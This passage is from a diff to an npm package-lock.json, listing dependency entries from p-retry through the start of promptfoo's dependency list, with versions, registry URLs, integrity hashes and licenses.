"sha512-8guHBZCwKnFhYdHr2ysuRWErTwhoN2X8XELRlrRwpmfeY2jjuUN4taQMsULKUVo1K4DvZl+0pgfyoysHxvmvEw==", + "license": "MIT", + "optional": true + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/p-retry/-/p-retry-4.6.2.tgz", + "integrity": "sha512-312Id396EbJdvRONlngUx0NydfrIQ5lsYu0znKVUzVvArzEIt08V1qhtyESbGVd1FGX7UKtiFp5uwKZdM8wIuQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "@types/retry": "0.12.0", + "retry": "^0.13.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-retry/node_modules/@types/retry": { + "version": "0.12.0", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.0.tgz", + "integrity": "sha512-wWKOClTTiizcZhXnPY4wikVAwmdYHp8q6DmC+EJUzAMsycb7HB32Kh9RN4+0gExjmPmZSAQjgURXIGATPegAvA==", + "license": "MIT", + "optional": true + }, + "node_modules/p-timeout": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/p-timeout/-/p-timeout-3.2.0.tgz", + "integrity": "sha512-rhIwUycgwwKcP9yTOOFK/AKsAopjjCakVqLHePO3CC6Mir1Z99xT+R63jZxAT5lFZLa2inS5h+ZS2GvR99/FBg==", + "license": "MIT", + "optional": true, + "dependencies": { + "p-finally": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/pac-proxy-agent": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/pac-proxy-agent/-/pac-proxy-agent-9.1.0.tgz", + "integrity": "sha512-1aU+1mpj3DrQPfo3gh+3Gap3G5x+axnMx1P/y0ZF2ch7kb2meyOCAH8K2k9d27ROsTE7TnAerzxqF9aon2jqnA==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "get-uri": "8.0.1", + "http-proxy-agent": "9.1.0", + "https-proxy-agent": "9.1.0", + "pac-resolver": "9.0.1", + "quickjs-wasi": "^2.2.0", + "socks-proxy-agent": "10.1.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/pac-proxy-agent/node_modules/agent-base": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", + "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/pac-proxy-agent/node_modules/http-proxy-agent": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-9.1.0.tgz", + "integrity": "sha512-2NxoveTT58mjYT4n3RPTEfCZGLMbidoO8XEieXfpSYxu+PQJ1qpx4ypwH6N+uF9twBPIvRRgvkvW5HUTYWENig==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "proxy-agent-negotiate": "1.1.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/pac-proxy-agent/node_modules/https-proxy-agent": { + "version": "9.1.0", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-9.1.0.tgz", + "integrity": "sha512-ag87y7cJJ9/3+GxFr8Oy4O5faDsGRGnBGsJj/YjOSsSx/5eadKLYTMPlzuR6obgoCDDm0abAAZitXXQkMOPSpA==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "proxy-agent-negotiate": "1.1.0" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/pac-resolver": { + "version": "9.0.1", + "resolved": "https://registry.npmjs.org/pac-resolver/-/pac-resolver-9.0.1.tgz", + "integrity": "sha512-lJbS008tmkj08VhoM8Hzuv/VE5tK9MS0OIQ/7+s0lIF+BYhiQWFYzkSpML7lXs9iBu2jfmzBTLzhe9n6BX+dYw==", + "license": "MIT", + "dependencies": { + "degenerator": "7.0.1", + "netmask": "^2.0.2" + }, + "engines": { + "node": ">= 20" + }, + "peerDependencies": { + "quickjs-wasi": "^2.2.0" + } + }, + "node_modules/package-json-from-dist": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/package-json-from-dist/-/package-json-from-dist-1.0.1.tgz", + "integrity": "sha512-UEZIS3/by4OC8vL3P2dTXRETpebLI2NiI5vIrjaD/5UtrkFX/tNbwjTSRAGC/+7CAo2pIcBaRgWmcBBHcsaCIw==", + "license": "BlueOak-1.0.0", + "optional": true + }, + "node_modules/papaparse": { + "version": "5.7.0", + "resolved": "https://registry.npmjs.org/papaparse/-/papaparse-5.7.0.tgz", + "integrity": "sha512-qBGxg/7Q3Kl9Wfhrz2Z74UnvnHTXLNG6jmKJFeBvP2+y4lV7So+7SR62+Zd47JvdrCkX+nDcnr0ObPzek/+6RA==", + "license": "MIT", + "optional": true + }, + "node_modules/parse-ms": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-4.0.0.tgz", + "integrity": "sha512-TXfryirbmq34y8QBwgqCVLi+8oA3oWx2eAnSn62ITyEhEYaWRlVZ2DvMM9eZbMs/RfxPu/PK/aBLyGj4IrqMHw==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/parse5": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/parse5/-/parse5-8.0.1.tgz", + "integrity": "sha512-z1e/HMG90obSGeidlli3hj7cbocou0/wa5HacvI3ASx34PecNjNQeaHNo5WIZpWofN9kgkqV1q5YvXe3F0FoPw==", + "license": "MIT", + "dependencies": { + "entities": "^8.0.0" + }, + "funding": { + "url": "https://github.com/inikulin/parse5?sponsor=1" + } + }, + "node_modules/parseurl": { + "version": "1.3.3", + "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.3.tgz", + "integrity": "sha512-CiyeOxFT/JZyN5m0z9PfXw4SCBJ6Sygz1Dpl0wqjlhDEGGBP1GnsUVEL0p63hoG1fcj3fHynXi9NYO4nWOL+qQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/patch-console": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/patch-console/-/patch-console-2.0.0.tgz", + "integrity": "sha512-0YNdUceMdaQwoKce1gatDScmMo5pu/tfABfnzEqeG0gtTmd7mh/WcwgUjtAeOU7N8nFFlbQBnFK2gXW5fGvmMA==", + "license": "MIT", + "optional": true, + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + } + }, + "node_modules/path-expression-matcher": { + "version": "1.6.2", + "resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.6.2.tgz", + "integrity": "sha512-enSlaiat05iasnzmgNxRj8reFdj3puY2QpNgP1aPIaVfT6nn9ICuPoFlKHk8EN22HcwewshO+mN2DGbkCEOtqQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/NaturalIntelligence" + } + ], + "license": "MIT", + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/path-key": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", + "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/path-scurry": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-2.0.2.tgz", + "integrity": "sha512-3O/iVVsJAPsOnpwWIeD+d6z/7PmqApyQePUtCndjatj/9I5LylHvt5qluFaBT3I5h3r1ejfR056c+FCv+NnNXg==", + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^11.0.0", + "minipass": "^7.1.2" + }, + "engines": { + "node": "18 || 20 || >=22" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/path-to-regexp": { + "version": "8.4.2", + "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-8.4.2.tgz", + "integrity": "sha512-qRcuIdP69NPm4qbACK+aDogI5CBDMi1jKe0ry5rSQJz8JVLsC7jV8XpiJjGRLLol3N+R5ihGYcrPLTno6pAdBA==", + "license": "MIT", + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/pdf-parse": { + "version": "2.4.5", + "resolved": "https://registry.npmjs.org/pdf-parse/-/pdf-parse-2.4.5.tgz", + "integrity": "sha512-mHU89HGh7v+4u2ubfnevJ03lmPgQ5WU4CxAVmTSh/sxVTEDYd1er/dKS/A6vg77NX47KTEoihq8jZBLr8Cxuwg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "@napi-rs/canvas": "0.1.80", + "pdfjs-dist": "5.4.296" + }, + "bin": { + "pdf-parse": "bin/cli.mjs" + }, + "engines": { + "node": ">=20.16.0 <21 || >=22.3.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/mehmet-kozan" + } + }, + "node_modules/pdf-parse/node_modules/pdfjs-dist": { + "version": "5.4.296", + "resolved": "https://registry.npmjs.org/pdfjs-dist/-/pdfjs-dist-5.4.296.tgz", + "integrity": "sha512-DlOzet0HO7OEnmUmB6wWGJrrdvbyJKftI1bhMitK7O2N8W2gc757yyYBbINy9IDafXAV9wmKr9t7xsTaNKRG5Q==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=20.16.0 || >=22.3.0" + }, + "optionalDependencies": { + "@napi-rs/canvas": "^0.1.80" + } + }, + "node_modules/pdfjs-dist": { + "version": "6.3.289", + "resolved": "https://registry.npmjs.org/pdfjs-dist/-/pdfjs-dist-6.3.289.tgz", + "integrity": "sha512-ZHjSVpDa3D6izMq8/04lvkhkATUmL9px6ChPaXc1k6nU2Mrhlg1/7F0bdUqCwUjw3NsPTfPZsMDUU6ZIcRaeQw==", + "license": "Apache-2.0", + "optional": true, + "engines": { + "node": ">=22.13.0 || >=24" + }, + "optionalDependencies": { + "@napi-rs/canvas": "^1.0.0" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas/-/canvas-1.0.9.tgz", + "integrity": "sha512-QviPdJImDi/jMAvBfqaw+19BndMd/sizXVW3NnpMd3VJGz++QXkOHcP9kWR/smHG0hNjHeyuHFyrx/5lD0oNcQ==", + "license": "MIT", + "optional": true, + "workspaces": [ + "e2e/*" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + }, + "optionalDependencies": { + "@napi-rs/canvas-android-arm64": "1.0.9", + "@napi-rs/canvas-darwin-arm64": "1.0.9", + "@napi-rs/canvas-darwin-x64": "1.0.9", + "@napi-rs/canvas-linux-arm-gnueabihf": "1.0.9", + "@napi-rs/canvas-linux-arm64-gnu": "1.0.9", + "@napi-rs/canvas-linux-arm64-musl": "1.0.9", + "@napi-rs/canvas-linux-riscv64-gnu": "1.0.9", + "@napi-rs/canvas-linux-x64-gnu": "1.0.9", + "@napi-rs/canvas-linux-x64-musl": "1.0.9", + "@napi-rs/canvas-win32-arm64-msvc": "1.0.9", + "@napi-rs/canvas-win32-x64-msvc": "1.0.9" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-android-arm64": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-android-arm64/-/canvas-android-arm64-1.0.9.tgz", + "integrity": "sha512-4LGXk2/0HVzE29K8SzML5WubgCp++B1FH3qgl35XmSZE+lLdr6P9VRQEnZ0MCLZMTSuJP41yyhtoiVNEuvrTIA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-darwin-arm64": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-darwin-arm64/-/canvas-darwin-arm64-1.0.9.tgz", + "integrity": "sha512-YNdfLBzY0W/Pep9fo2L6RmoNlNksnn05LRnX66W63R3ij58S25QOTcjdtEt2v8+PnCESzqZsYzUo+QPeIR44NA==", + "cpu": [ + "arm64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-darwin-x64": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-darwin-x64/-/canvas-darwin-x64-1.0.9.tgz", + "integrity": "sha512-ceZQSknTEcy3dOXoekv59LTCkXjvnLsq+VW5PeNNDHEPQbRS5Ervkm1EaDa7WLAjiYWMLuSQTRTHao1dEX4prg==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-linux-arm-gnueabihf": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm-gnueabihf/-/canvas-linux-arm-gnueabihf-1.0.9.tgz", + "integrity": "sha512-XhfI0Wwv4llhd6nnWDtY3kQKjq0r+y1i91PlJlJI24ag2U9WrnwbG1qS3+fDLEyouwEVFchiKkTEHozK+5iUNA==", + "cpu": [ + "arm" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-linux-arm64-gnu": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm64-gnu/-/canvas-linux-arm64-gnu-1.0.9.tgz", + "integrity": "sha512-012oiYtKaE7i9oxc8q7nraT7kDOpLcaCmFLzVe9Ty34RHDdoDzbWLrVh827CNxYh/EADX1eSikA3ymLjo/nNuw==", + "cpu": [ + "arm64" + ], + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-linux-arm64-musl": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-arm64-musl/-/canvas-linux-arm64-musl-1.0.9.tgz", + "integrity": "sha512-Ls5UWYFFn63casTZEczbeyEg3vRDRkv9lscuGwfchtY5yLLQhgOB8SN4YGxmfJ5vTaBwZ2YUxBS3NtmjJmFXdA==", + "cpu": [ + "arm64" + ], + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-linux-riscv64-gnu": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-riscv64-gnu/-/canvas-linux-riscv64-gnu-1.0.9.tgz", + "integrity": "sha512-hLKEGxV7ZiRHqndePTokgDMdBlo/rDfzg7P4p4QIv9pUhuYobnu3R2NIFLCRghG0nwfo+s2sw+c1xZFeCmEAsw==", + "cpu": [ + "riscv64" + ], + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-linux-x64-gnu": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-x64-gnu/-/canvas-linux-x64-gnu-1.0.9.tgz", + "integrity": "sha512-6kaz3w0QMy77PDWk6rJ1ksIihdad3qzEyX2o2oGT8GwCaypfT5mhjr8buOO5hstyLxcWXDScuz56RsINLtBPIQ==", + "cpu": [ + "x64" + ], + "libc": [ + "glibc" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-linux-x64-musl": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-linux-x64-musl/-/canvas-linux-x64-musl-1.0.9.tgz", + "integrity": "sha512-xrGvmS3v55hmZ86ls/kBLVNMUTYio3f6Ik0DireemG994VfPAwiA3ZXA0Uf1bByctkB3NQ1Sfb+H5bkdUnnzfQ==", + "cpu": [ + "x64" + ], + "libc": [ + "musl" + ], + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pdfjs-dist/node_modules/@napi-rs/canvas-win32-x64-msvc": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@napi-rs/canvas-win32-x64-msvc/-/canvas-win32-x64-msvc-1.0.9.tgz", + "integrity": "sha512-QlSYQdMQslB81nlABo9wNfQ6npFhE7/O+saCZdqVGueGanyRk4jCogD5EwQenfP3kIq9e+mm6GreQBjX5MrA8g==", + "cpu": [ + "x64" + ], + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 10" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + } + }, + "node_modules/pem": { + "version": "1.14.8", + "resolved": "https://registry.npmjs.org/pem/-/pem-1.14.8.tgz", + "integrity": "sha512-ZpbOf4dj9/fQg5tQzTqv4jSKJQsK7tPl0pm4/pvPcZVjZcJg7TMfr3PBk6gJH97lnpJDu4e4v8UUqEz5daipCg==", + "license": "MIT", + "optional": true, + "dependencies": { + "es6-promisify": "^7.0.0", + "md5": "^2.3.0", + "os-tmpdir": "^1.0.2", + "which": "^2.0.2" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", + "license": "MIT", + "optional": true + }, + "node_modules/pg": { + "version": "8.23.0", + "resolved": "https://registry.npmjs.org/pg/-/pg-8.23.0.tgz", + "integrity": "sha512-Ip2EQCngowJLGOfCwkFhPXU7/ljlhn6Rxlmy4XYfL2Y+vyRM59+8uR2xqRWKdYmbXmxCFOAmKxBuSUCdF34qLg==", + "license": "MIT", + "optional": true, + "dependencies": { + "pg-connection-string": "^2.14.0", + "pg-pool": "^3.14.0", + "pg-protocol": "^1.16.0", + "pg-types": "2.2.0", + "pgpass": "1.0.5" + }, + "engines": { + "node": ">= 16.0.0" + }, + "optionalDependencies": { + "pg-cloudflare": "^1.4.0" + }, + "peerDependencies": { + "pg-native": ">=3.0.1" + }, + "peerDependenciesMeta": { + "pg-native": { + "optional": true + } + } + }, + "node_modules/pg-cloudflare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.4.0.tgz", + "integrity": "sha512-Vo7z/6rrQYxpNRylp4Tlob2elzbh+N/MOQbxFVWCxS7oEx6jF53GTJFxK2WWpKuBRkmiin4Mt+xofFDjx09R0A==", + "license": "MIT", + "optional": true + }, + "node_modules/pg-connection-string": { + "version": "2.14.0", + "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.14.0.tgz", + "integrity": "sha512-XwWDGcLRGCXAR8F/AM5bG7Q+A3Wm2s6QeEjlOKZLlH3UYcguiqCWKyWXVag5TLTIjR7oOJUY8kcADaZgWPyLeg==", + "license": "MIT", + "optional": true + }, + "node_modules/pg-int8": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz", + "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw==", + "license": "ISC", + "optional": true, + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/pg-pool": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.14.0.tgz", + "integrity": "sha512-gKtPkFdQPU3DksooVLi9LsjZxrsBUZIpa+7aVx+LV5pNh0KzP4Zleud2po+ConrxbuXGBJ6Hfer6hdgpIBpBaw==", + "license": "MIT", + "optional": true, + "peerDependencies": { + "pg": ">=8.0" + } + }, + "node_modules/pg-protocol": { + "version": "1.16.0", + "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.16.0.tgz", + "integrity": "sha512-sILXutLVjCLjcDuOmvhX5e2Z4cS5qG/6Bu3VkpFwdf/633ElGLpEh9bgmuI5I4sqKqkifQiGyiCcx1HdtrK7tg==", + "license": "MIT", + "optional": true + }, + "node_modules/pg-types": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz", + "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==", + "license": "MIT", + "optional": true, + "dependencies": { + "pg-int8": "1.0.1", + "postgres-array": "~2.0.0", + "postgres-bytea": "~1.0.0", + "postgres-date": "~1.0.4", + "postgres-interval": "^1.1.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/pgpass": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz", + "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==", + "license": "MIT", + "optional": true, + "dependencies": { + "split2": "^4.1.0" + } + }, + "node_modules/pkce-challenge": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/pkce-challenge/-/pkce-challenge-5.0.1.tgz", + "integrity": "sha512-wQ0b/W4Fr01qtpHlqSqspcj3EhBvimsdh0KlHhH8HRZnMsEa0ea2fTULOXOS9ccQr3om+GcGRk4e+isrZWV8qQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=16.20.0" + } + }, + "node_modules/platform": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/platform/-/platform-1.3.6.tgz", + "integrity": "sha512-fnWVljUchTro6RiCFvCXBbNhJc2NijN7oIQxbwsyL0buWJPG85v81ehlHI9fXrJsMNgTofEoWIQeClKpgxFLrg==", + "license": "MIT", + "optional": true + }, + "node_modules/playwright": { + "version": "1.63.0", + "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.63.0.tgz", + "integrity": "sha512-+7ziBLidS4NaNCdt57SUDT+wYmmd5fmiQejUic/kb+YsYSCPyOOE9sebzMjNmQrsnNpDJqd4WHvV/8lfKfUDUg==", + "license": "Apache-2.0", + "optional": true, + "dependencies": { + "playwright-core": "1.63.0" + }, + "bin": { + "playwright": "cli.js" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/playwright-core": { + "version": "1.63.0", + "resolved": "https://registry.npmjs.org/playwright-core/-/playwright-core-1.63.0.tgz", + "integrity": "sha512-rYCsBF/M5HjUch52bbtVONEFjv6Xu8sm8h72dNlR5bzIE1fvC/bxgspzkjSfU+MweEMmPM8KJebG6nnyxo5mCg==", + "license": "Apache-2.0", + "optional": true, + "bin": { + "playwright-core": "cli.js" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/playwright-extra": { + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/playwright-extra/-/playwright-extra-4.3.6.tgz", + "integrity": "sha512-q2rVtcE8V8K3vPVF1zny4pvwZveHLH8KBuVU2MoE3Jw4OKVoBWsHI9CH9zPydovHHOCDxjGN2Vg+2m644q3ijA==", + "license": "MIT", + "optional": true, + "dependencies": { + "debug": "^4.3.4" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "playwright": "*", + "playwright-core": "*" + }, + "peerDependenciesMeta": { + "playwright": { + "optional": true + }, + "playwright-core": { + "optional": true + } + } + }, + "node_modules/postgres-array": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz", + "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/postgres-bytea": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.1.tgz", + "integrity": "sha512-5+5HqXnsZPE65IJZSMkZtURARZelel2oXUEO8rH83VS/hxH5vv1uHquPg5wZs8yMAfdv971IU+kcPUczi7NVBQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postgres-date": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz", + "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/postgres-interval": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz", + "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "xtend": "^4.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/posthog-node": { + "version": "5.24.17", + "resolved": "https://registry.npmjs.org/posthog-node/-/posthog-node-5.24.17.tgz", + "integrity": "sha512-mdb8TKt+YCRbGQdYar3AKNUPCyEiqcprScF4unYpGALF6HlBaEuO6wPuIqXXpCWkw4VclJYCKbb6lq6pH6bJeA==", + "license": "MIT", + "dependencies": { + "@posthog/core": "1.23.1" + }, + "engines": { + "node": "^20.20.0 || >=22.22.0" + } + }, + "node_modules/pretty-ms": { + "version": "9.3.1", + "resolved": "https://registry.npmjs.org/pretty-ms/-/pretty-ms-9.3.1.tgz", + "integrity": "sha512-HzMy3Geq23nVALD/M2LliU+F+M+gVNsvkQWWqeBZ8HDiCgzo6YPJ/Omrmtq24EFrIsk0a3EkQGEd7bDOo+IhGA==", + "license": "MIT", + "dependencies": { + "parse-ms": "^4.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/promise-limit": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/promise-limit/-/promise-limit-2.7.0.tgz", + "integrity": "sha512-7nJ6v5lnJsXwGprnGXga4wx6d1POjvi5Qmf1ivTRxTjH4Z/9Czja/UCMLVmB9N93GeWOU93XaFaEt6jbuoagNw==", + "license": "ISC" + }, + "node_modules/promptfoo": { + "version": "0.123.1", + "resolved": "https://registry.npmjs.org/promptfoo/-/promptfoo-0.123.1.tgz", + "integrity": "sha512-9WzFeH6L+5E49R6CTulBo/WzmVPNcMpvgUZAyEsNlaKgpfmF9vV82jKUG1rQ+QH79P7gYAaxeY3TvLDV+x0Cbg==", + "license": "MIT", + "workspaces": [ + "src/app", + "site" + ], + "dependencies": { + "@anthropic-ai/sdk": "0.124.0", + "@apidevtools/json-schema-ref-parser": "^16.0.2", + "@hono/node-server": "2.1.1", + "@inquirer/checkbox": "^5.1.0", + "@inquirer/confirm": "^6.0.8", + "@inquirer/core": "^12.0.0", + "@inquirer/editor": "^5.0.8", + "@inquirer/input": "^5.0.8", + "@inquirer/search": "^4.1.8", + "@inquirer/select": "^5.1.0", + "@libsql/client": "^0.18.0", + "@opentelemetry/api": "^1.9.0", + "@opentelemetry/core": "2.11.0", + "@opentelemetry/exporter-trace-otlp-http": "^0.222.0", + "@opentelemetry/resources": "^2.6.0", + "@opentelemetry/sdk-trace-base": "^2.6.0", + "@opentelemetry/sdk-trace-node": "^2.6.0", + "@opentelemetry/semantic-conventions": "^1.40.0", + "@types/ws": "^8.18.1", + "ai": "^6.0.264", + "ajv": "^8.18.0", + "ajv-formats": "^3.0.1", + "async": "^3.2.6", + "binary-extensions": "^3.1.0", + "cache-manager": ">=7.2.8 <7.2.10", + "chalk": "^6.0.0", + "chokidar": "5.0.0", + "cli-progress": "^3.12.0", + "cli-table3": "^0.6.5", + "commander": "^15.0.0", + "compression": "^1.8.1", + 